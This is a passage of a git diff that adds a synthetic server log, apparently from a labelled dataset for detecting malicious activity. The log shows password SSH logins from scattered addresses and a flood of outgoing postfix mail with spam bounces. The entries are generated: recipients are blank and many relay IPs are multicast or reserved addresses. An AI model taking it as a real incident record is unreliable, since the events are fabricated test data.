+2025-07-02T12:03:55Z,56.19,45.54,26.62,6.16,61.23 +2025-07-02T12:04:00Z,54.73,40.78,26.61,2.86,65.48 +2025-07-02T12:04:05Z,58.8,44.87,24.33,4.71,96.97 +2025-07-02T12:04:10Z,31.15,45.11,17.06,4.5,81.91 +2025-07-02T12:04:15Z,30.25,48.46,30.82,4.16,69.1 +2025-07-02T12:04:20Z,31.04,48.42,32.16,5.87,64.39 +2025-07-02T12:04:25Z,36.66,45.71,19.36,6.93,82.01 +2025-07-02T12:04:30Z,33.11,40.09,18.47,6.57,91.3 +2025-07-02T12:04:35Z,40.3,44.41,32.36,7.3,89.83 +2025-07-02T12:04:40Z,33.75,45.8,21.29,7.94,73.31 +2025-07-02T12:04:45Z,51.74,40.26,34.86,2.13,98.72 +2025-07-02T12:04:50Z,44.25,49.68,22.14,4.23,83.8 +2025-07-02T12:04:55Z,32.65,46.63,19.58,7.8,62.12 +2025-07-02T12:05:00Z,31.08,49.69,28.31,6.07,74.98 +2025-07-02T12:05:05Z,47.09,42.85,22.27,3.83,73.47 +2025-07-02T12:05:10Z,33.81,47.45,23.05,3.77,51.49 +2025-07-02T12:05:15Z,36.57,48.42,28.57,6.33,92.93 +2025-07-02T12:05:20Z,33.35,43.78,15.83,7.22,84.3 +2025-07-02T12:05:25Z,31.92,49.69,20.52,6.16,76.29 +2025-07-02T12:05:30Z,46.42,44.68,22.09,2.57,64.34 +2025-07-02T12:05:35Z,50.77,46.95,18.14,4.86,76.85 +2025-07-02T12:05:40Z,32.87,41.35,23.32,5.39,52.78 +2025-07-02T12:05:45Z,53.08,49.13,31.95,2.46,63.39 +2025-07-02T12:05:50Z,49.91,45.4,31.19,4.8,90.06 +2025-07-02T12:05:55Z,48.02,44.85,15.24,7.31,65.08 +2025-07-02T12:06:00Z,37.04,45.75,16.28,4.45,68.94 +2025-07-02T12:06:05Z,31.95,47.47,23.2,3.51,83.86 +2025-07-02T12:06:10Z,55.44,41.01,27.31,3.19,59.84 +2025-07-02T12:06:15Z,37.11,42.29,33.7,3.3,63.17 +2025-07-02T12:06:20Z,54.64,46.34,29.66,3.58,86.84 +2025-07-02T12:06:25Z,40.88,43.21,21.01,7.28,71.49 +2025-07-02T12:06:30Z,44.96,49.53,33.6,4.82,75.0 +2025-07-02T12:06:35Z,56.19,41.69,34.26,2.54,71.33 +2025-07-02T12:06:40Z,51.18,47.04,17.02,4.33,57.51 +2025-07-02T12:06:45Z,54.56,40.46,17.58,3.29,98.03 +2025-07-02T12:06:50Z,47.79,40.42,19.96,3.11,86.0 +2025-07-02T12:06:55Z,33.04,47.4,32.09,4.66,57.46 +2025-07-02T12:07:00Z,50.11,43.82,29.9,4.04,61.94 +2025-07-02T12:07:05Z,56.0,41.13,19.59,3.94,84.82 +2025-07-02T12:07:10Z,39.17,47.41,19.88,5.41,86.24 +2025-07-02T12:07:15Z,41.84,40.92,20.09,6.03,66.97 +2025-07-02T12:07:20Z,57.73,49.69,34.9,3.1,65.77 +2025-07-02T12:07:25Z,39.94,41.86,18.41,4.84,82.65 diff --git a/mali_dataset/scenario_5/mali_5_17.log b/mali_dataset/scenario_5/mali_5_17.log new file mode 100644 index 0000000000000000000000000000000000000000..0186c81ab34edbca8f854c20e28433494ea50a9c --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_17.log @@ -0,0 +1,432 @@ +Jul 02 12:00:00 mail-server-3 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:00 mail-server-3 CRON[5592]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:00:15 mail-server-3 sshd[8820]: Accepted password for admin from 58.60.93.91 port 54322 ssh2 +Jul 02 12:00:25 mail-server-3 sshd[8687]: Accepted password for admin from 75.146.103.226 port 54322 ssh2 +Jul 02 12:00:35 mail-server-3 CRON[5730]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:00:45 mail-server-3 sshd[8131]: Accepted password for admin from 30.60.28.1 port 54322 ssh2 +Jul 02 12:00:50 mail-server-3 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:10 mail-server-3 CRON[5250]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:30 mail-server-3 sshd[8371]: Accepted password for dev-user from 158.53.142.165 port 54322 ssh2 +Jul 02 12:01:35 mail-server-3 sshd[8140]: Accepted password for admin from 243.160.130.138 port 54322 ssh2 +Jul 02 12:01:40 mail-server-3 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:45 mail-server-3 CRON[5424]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:55 mail-server-3 sshd[8212]: Accepted password for dev-user from 89.195.145.105 port 54322 ssh2 +Jul 02 12:02:20 mail-server-3 CRON[5178]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:02:30 mail-server-3 postfix/smtp[11476]: E8090F38: to=, relay=28.124.133.125[28.124.133.125]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as E8090F38) +Jul 02 12:02:30 mail-server-3 postfix/smtp[13954]: F0324A13: to=, relay=238.163.141.32[238.163.141.32]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as F0324A13) +Jul 02 12:02:30 mail-server-3 postfix/smtp[14612]: 6886618E: to=, relay=174.111.119.128[174.111.119.128]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 6886618E) +Jul 02 12:02:30 mail-server-3 postfix/smtp[10722]: 6ED5EBF5: to=, relay=199.51.35.191[199.51.35.191]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 6ED5EBF5) +Jul 02 12:02:35 mail-server-3 postfix/smtp[19885]: CE2FF611: to=, relay=243.42.70.207[243.42.70.207]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as CE2FF611) +Jul 02 12:02:35 mail-server-3 postfix/smtp[18953]: 4AB7F2FE: to=, relay=199.83.170.33[199.83.170.33]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 4AB7F2FE) +Jul 02 12:02:35 mail-server-3 postfix/smtp[16298]: EAB6AADA: to=, relay=37.237.185.45[37.237.185.45]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as EAB6AADA) +Jul 02 12:02:35 mail-server-3 postfix/smtp[18198]: E9567FE1: to=, relay=3.70.29.179[3.70.29.179]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as E9567FE1) +Jul 02 12:02:35 mail-server-3 postfix/bounce[24440]: F31ED8F2: sender non-delivery notification: F31ED8F2 +Jul 02 12:02:35 mail-server-3 postfix/smtp[24440]: F31ED8F2: to=, relay=mail.spam-source.com, delay=0.1, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Jul 02 12:02:40 mail-server-3 postfix/smtp[13324]: 6F7DE39A: to=, relay=32.83.67.221[32.83.67.221]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 6F7DE39A) +Jul 02 12:02:40 mail-server-3 postfix/smtp[19920]: BDCD9F9F: to=, relay=255.166.44.181[255.166.44.181]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as BDCD9F9F) +Jul 02 12:02:40 mail-server-3 postfix/smtp[10312]: E812B50B: to=, relay=117.232.82.20[117.232.82.20]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as E812B50B) +Jul 02 12:02:40 mail-server-3 postfix/smtp[13546]: 2D97B330: to=, relay=3.156.76.15[3.156.76.15]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 2D97B330) +Jul 02 12:02:40 mail-server-3 postfix/smtp[19740]: C4399BAF: to=, relay=11.231.39.254[11.231.39.254]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as C4399BAF) +Jul 02 12:02:40 mail-server-3 postfix/smtp[12720]: AD6A2869: to=, relay=236.82.228.248[236.82.228.248]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as AD6A2869) +Jul 02 12:02:40 mail-server-3 postfix/smtp[18237]: 09AD081E: to=, relay=202.134.139.183[202.134.139.183]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 09AD081E) +Jul 02 12:02:40 mail-server-3 postfix/smtp[15214]: C699393C: to=, relay=12.199.53.96[12.199.53.96]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as C699393C) +Jul 02 12:02:40 mail-server-3 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:02:45 mail-server-3 postfix/smtp[16623]: 21DA05E4: to=, relay=39.206.159.20[39.206.159.20]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 21DA05E4) +Jul 02 12:02:45 mail-server-3 postfix/smtp[11736]: 0F45BD4F: to=, relay=126.203.241.63[126.203.241.63]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 0F45BD4F) +Jul 02 12:02:45 mail-server-3 postfix/smtp[13600]: 68E0D93F: to=, relay=123.162.50.176[123.162.50.176]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 68E0D93F) +Jul 02 12:02:45 mail-server-3 postfix/smtp[16870]: 16835821: to=, relay=54.218.96.204[54.218.96.204]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 16835821) +Jul 02 12:02:45 mail-server-3 postfix/smtp[16972]: B70FF977: to=, relay=231.250.144.173[231.250.144.173]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as B70FF977) +Jul 02 12:02:45 mail-server-3 postfix/smtp[15426]: 9D0B2199: to=, relay=80.126.72.214[80.126.72.214]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 9D0B2199) +Jul 02 12:02:45 mail-server-3 postfix/smtp[16459]: 9600B3CC: to=, relay=99.67.97.77[99.67.97.77]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 9600B3CC) +Jul 02 12:02:45 mail-server-3 postfix/smtp[10484]: 58B7A6E0: to=, relay=144.119.235.110[144.119.235.110]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 58B7A6E0) +Jul 02 12:02:45 mail-server-3 postfix/bounce[26768]: AD65F3C1: sender non-delivery notification: AD65F3C1 +Jul 02 12:02:45 mail-server-3 postfix/smtp[26768]: AD65F3C1: to=, relay=mail.spam-source.com, delay=0.1, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Jul 02 12:02:50 mail-server-3 postfix/smtp[17195]: 7C17129A: to=, relay=253.152.172.10[253.152.172.10]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 7C17129A) +Jul 02 12:02:50 mail-server-3 postfix/smtp[17705]: 8F39772C: to=, relay=67.245.249.58[67.245.249.58]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 8F39772C) +Jul 02 12:02:50 mail-server-3 postfix/smtp[16352]: 8EFAA787: to=, relay=51.121.66.188[51.121.66.188]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 8EFAA787) +Jul 02 12:02:50 mail-server-3 postfix/smtp[17031]: 49A9CA87: to=, relay=91.230.85.204[91.230.85.204]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 49A9CA87) +Jul 02 12:02:50 mail-server-3 postfix/smtp[17450]: B1EA0B79: to=, relay=23.96.247.43[23.96.247.43]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as B1EA0B79) +Jul 02 12:02:55 mail-server-3 postfix/smtp[11269]: 632657FD: to=, relay=252.49.102.217[252.49.102.217]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 632657FD) +Jul 02 12:02:55 mail-server-3 postfix/smtp[14334]: A3AE1478: to=, relay=47.194.154.224[47.194.154.224]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as A3AE1478) +Jul 02 12:02:55 mail-server-3 postfix/smtp[12018]: 8CBBB9B5: to=, relay=223.145.182.177[223.145.182.177]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 8CBBB9B5) +Jul 02 12:02:55 mail-server-3 postfix/smtp[12326]: 408BA396: to=, relay=161.144.165.112[161.144.165.112]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 408BA396) +Jul 02 12:02:55 mail-server-3 postfix/smtp[14877]: A1D39A1A: to=, relay=75.5.16.47[75.5.16.47]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as A1D39A1A) +Jul 02 12:02:55 mail-server-3 postfix/smtp[16266]: 598E9D8B: to=, relay=122.28.201.6[122.28.201.6]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 598E9D8B) +Jul 02 12:02:55 mail-server-3 postfix/smtp[13085]: 947D46B3: to=, relay=31.240.77.139[31.240.77.139]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 947D46B3) +Jul 02 12:03:00 mail-server-3 postfix/smtp[12383]: 2205D5DF: to=, relay=106.141.85.72[106.141.85.72]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 2205D5DF) +Jul 02 12:03:00 mail-server-3 postfix/smtp[16312]: 830EA9C2: to=, relay=179.217.44.146[179.217.44.146]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 830EA9C2) +Jul 02 12:03:00 mail-server-3 postfix/smtp[16928]: B6B501CD: to=, relay=70.96.11.47[70.96.11.47]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as B6B501CD) +Jul 02 12:03:00 mail-server-3 postfix/smtp[13814]: CB05EA89: to=, relay=177.188.48.193[177.188.48.193]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as CB05EA89) +Jul 02 12:03:00 mail-server-3 postfix/smtp[19393]: 354560E5: to=, relay=254.2.92.128[254.2.92.128]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 354560E5) +Jul 02 12:03:00 mail-server-3 postfix/smtp[10404]: 46A9BDA8: to=, relay=247.198.124.6[247.198.124.6]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 46A9BDA8) +Jul 02 12:03:05 mail-server-3 postfix/smtp[19564]: C6BD6E3D: to=, relay=91.50.7.19[91.50.7.19]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as C6BD6E3D) +Jul 02 12:03:05 mail-server-3 postfix/smtp[18430]: BA79B7AE: to=, relay=156.248.14.8[156.248.14.8]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as BA79B7AE) +Jul 02 12:03:05 mail-server-3 postfix/smtp[16210]: E823D71D: to=, relay=161.178.166.206[161.178.166.206]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as E823D71D) +Jul 02 12:03:05 mail-server-3 postfix/smtp[18268]: 5DBFF546: to=, relay=2.59.76.255[2.59.76.255]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 5DBFF546) +Jul 02 12:03:05 mail-server-3 postfix/smtp[19830]: 2ABC834D: to=, relay=232.176.211.207[232.176.211.207]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 2ABC834D) +Jul 02 12:03:05 mail-server-3 postfix/smtp[14593]: 39615DE2: to=, relay=156.226.148.201[156.226.148.201]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 39615DE2) +Jul 02 12:03:05 mail-server-3 postfix/bounce[27611]: 52DD95F9: sender non-delivery notification: 52DD95F9 +Jul 02 12:03:05 mail-server-3 postfix/smtp[27611]: 52DD95F9: to=, relay=mail.spam-source.com, delay=0.1, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Jul 02 12:03:10 mail-server-3 postfix/smtp[14576]: 56076843: to=, relay=201.34.89.96[201.34.89.96]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 56076843) +Jul 02 12:03:10 mail-server-3 postfix/smtp[11104]: 2C71D611: to=, relay=233.196.241.23[233.196.241.23]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 2C71D611) +Jul 02 12:03:10 mail-server-3 postfix/smtp[11123]: 529E37A8: to=, relay=172.205.29.72[172.205.29.72]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 529E37A8) +Jul 02 12:03:10 mail-server-3 postfix/smtp[10651]: 74D456D7: to=, relay=212.187.241.12[212.187.241.12]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 74D456D7) +Jul 02 12:03:10 mail-server-3 postfix/smtp[18438]: 71C24D7E: to=, relay=229.6.19.72[229.6.19.72]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 71C24D7E) +Jul 02 12:03:10 mail-server-3 postfix/smtp[11543]: 68735F24: to=, relay=152.198.14.9[152.198.14.9]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 68735F24) +Jul 02 12:03:10 mail-server-3 postfix/smtp[15240]: 1E34EAFE: to=, relay=161.177.83.33[161.177.83.33]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 1E34EAFE) +Jul 02 12:03:10 mail-server-3 postfix/smtp[17789]: F3BB923C: to=, relay=252.204.155.87[252.204.155.87]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as F3BB923C) +Jul 02 12:03:10 mail-server-3 postfix/bounce[20922]: 326D8F6C: sender non-delivery notification: 326D8F6C +Jul 02 12:03:10 mail-server-3 postfix/smtp[20922]: 326D8F6C: to=, relay=mail.spam-source.com, delay=0.1, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Jul 02 12:03:15 mail-server-3 postfix/smtp[11516]: 5E6C2436: to=, relay=138.206.137.155[138.206.137.155]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 5E6C2436) +Jul 02 12:03:15 mail-server-3 postfix/smtp[11056]: CDED8AEC: to=, relay=17.241.209.76[17.241.209.76]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as CDED8AEC) +Jul 02 12:03:15 mail-server-3 postfix/smtp[13203]: B425CAB9: to=, relay=88.185.193.95[88.185.193.95]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as B425CAB9) +Jul 02 12:03:15 mail-server-3 postfix/smtp[12289]: 72217CB7: to=, relay=22.162.103.183[22.162.103.183]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 72217CB7) +Jul 02 12:03:15 mail-server-3 postfix/smtp[13254]: DCE19F25: to=, relay=73.242.29.148[73.242.29.148]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as DCE19F25) +Jul 02 12:03:15 mail-server-3 postfix/smtp[14342]: 65CD5161: to=, relay=187.51.32.18[187.51.32.18]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 65CD5161) +Jul 02 12:03:15 mail-server-3 postfix/smtp[16783]: E0C7F074: to=, relay=164.26.191.174[164.26.191.174]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as E0C7F074) +Jul 02 12:03:15 mail-server-3 postfix/smtp[12629]: F85C0CA0: to=, relay=214.88.242.53[214.88.242.53]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as F85C0CA0) +Jul 02 12:03:15 mail-server-3 postfix/bounce[25428]: 388B13F0: sender non-delivery notification: 388B13F0 +Jul 02 12:03:15 mail-server-3 postfix/smtp[25428]: 388B13F0: to=, relay=mail.spam-source.com, delay=0.1, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Jul 02 12:03:20 mail-server-3 postfix/smtp[12416]: 722AC709: to=, relay=137.125.91.153[137.125.91.153]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 722AC709) +Jul 02 12:03:20 mail-server-3 postfix/smtp[16061]: AA991C32: to=, relay=233.24.197.54[233.24.197.54]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as AA991C32) +Jul 02 12:03:20 mail-server-3 postfix/smtp[16571]: F0FDE087: to=, relay=236.214.208.250[236.214.208.250]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as F0FDE087) +Jul 02 12:03:20 mail-server-3 postfix/smtp[17675]: E49E1439: to=, relay=64.99.251.255[64.99.251.255]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as E49E1439) +Jul 02 12:03:20 mail-server-3 postfix/smtp[14076]: 7E5C6280: to=, relay=117.2.232.33[117.2.232.33]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 7E5C6280) +Jul 02 12:03:20 mail-server-3 postfix/smtp[12264]: 0F3AF621: to=, relay=87.240.108.4[87.240.108.4]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 0F3AF621) +Jul 02 12:03:20 mail-server-3 postfix/smtp[12015]: 9B141623: to=, relay=10.125.205.154[10.125.205.154]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 9B141623) +Jul 02 12:03:20 mail-server-3 postfix/smtp[16461]: FEF1FC3D: to=, relay=30.158.145.232[30.158.145.232]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as FEF1FC3D) +Jul 02 12:03:20 mail-server-3 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:03:25 mail-server-3 postfix/smtp[10013]: 361FAF9E: to=, relay=143.254.27.44[143.254.27.44]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 361FAF9E) +Jul 02 12:03:25 mail-server-3 postfix/smtp[11151]: 6085B8D6: to=, relay=40.226.223.62[40.226.223.62]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 6085B8D6) +Jul 02 12:03:25 mail-server-3 postfix/smtp[15013]: 1BA79D3F: to=, relay=121.14.47.158[121.14.47.158]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 1BA79D3F) +Jul 02 12:03:25 mail-server-3 postfix/smtp[18275]: 6CF75D17: to=, relay=76.226.105.213[76.226.105.213]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 6CF75D17) +Jul 02 12:03:25 mail-server-3 postfix/smtp[13777]: 57359B0E: to=, relay=95.46.220.144[95.46.220.144]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 57359B0E) +Jul 02 12:03:25 mail-server-3 postfix/smtp[10914]: 9D5C4DC3: to=, relay=168.50.225.255[168.50.225.255]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 9D5C4DC3) +Jul 02 12:03:25 mail-server-3 postfix/smtp[16357]: 51F9FE3B: to=, relay=65.227.112.180[65.227.112.180]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 51F9FE3B) +Jul 02 12:03:25 mail-server-3 postfix/bounce[21469]: 6A70EF91: sender non-delivery notification: 6A70EF91 +Jul 02 12:03:25 mail-server-3 postfix/smtp[21469]: 6A70EF91: to=, relay=mail.spam-source.com, delay=0.1, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Jul 02 12:03:30 mail-server-3 postfix/smtp[12456]: 753E8C40: to=, relay=204.208.173.151[204.208.173.151]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 753E8C40) +Jul 02 12:03:30 mail-server-3 postfix/smtp[17613]: 09CAAE77: to=, relay=83.231.64.207[83.231.64.207]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 09CAAE77) +Jul 02 12:03:30 mail-server-3 postfix/smtp[15567]: 7105B82D: to=, relay=26.195.244.129[26.195.244.129]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 7105B82D) +Jul 02 12:03:30 mail-server-3 postfix/smtp[13593]: DC2B1D5E: to=, relay=1.207.168.251[1.207.168.251]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as DC2B1D5E) +Jul 02 12:03:30 mail-server-3 postfix/smtp[12343]: 05AF161E: to=, relay=75.169.35.112[75.169.35.112]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 05AF161E) +Jul 02 12:03:30 mail-server-3 postfix/smtp[11884]: AB7BA4E3: to=, relay=176.23.190.90[176.23.190.90]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as AB7BA4E3) +Jul 02 12:03:30 mail-server-3 postfix/smtp[15057]: 7425B4D5: to=, relay=29.187.15.120[29.187.15.120]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 7425B4D5) +Jul 02 12:03:30 mail-server-3 postfix/bounce[22837]: BBAEFEA2: sender non-delivery notification: BBAEFEA2 +Jul 02 12:03:30 mail-server-3 postfix/smtp[22837]: BBAEFEA2: to=, relay=mail.spam-source.com, delay=0.1, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Jul 02 12:03:35 mail-server-3 postfix/smtp[11677]: B4EAAF96: to=, relay=25.40.239.131[25.40.239.131]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as B4EAAF96) +Jul 02 12:03:35 mail-server-3 postfix/smtp[15230]: 856519E8: to=, relay=148.229.239.87[148.229.239.87]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 856519E8) +Jul 02 12:03:35 mail-server-3 postfix/smtp[14227]: AA6C1426: to=, relay=247.55.40.204[247.55.40.204]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as AA6C1426) +Jul 02 12:03:35 mail-server-3 postfix/smtp[13457]: 7E7D97DA: to=, relay=36.221.38.117[36.221.38.117]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 7E7D97DA) +Jul 02 12:03:40 mail-server-3 postfix/smtp[14121]: 1D3E9B05: to=, relay=202.153.133.114[202.153.133.114]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 1D3E9B05) +Jul 02 12:03:40 mail-server-3 postfix/smtp[12214]: 37EE06DE: to=, relay=188.83.219.21[188.83.219.21]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 37EE06DE) +Jul 02 12:03:40 mail-server-3 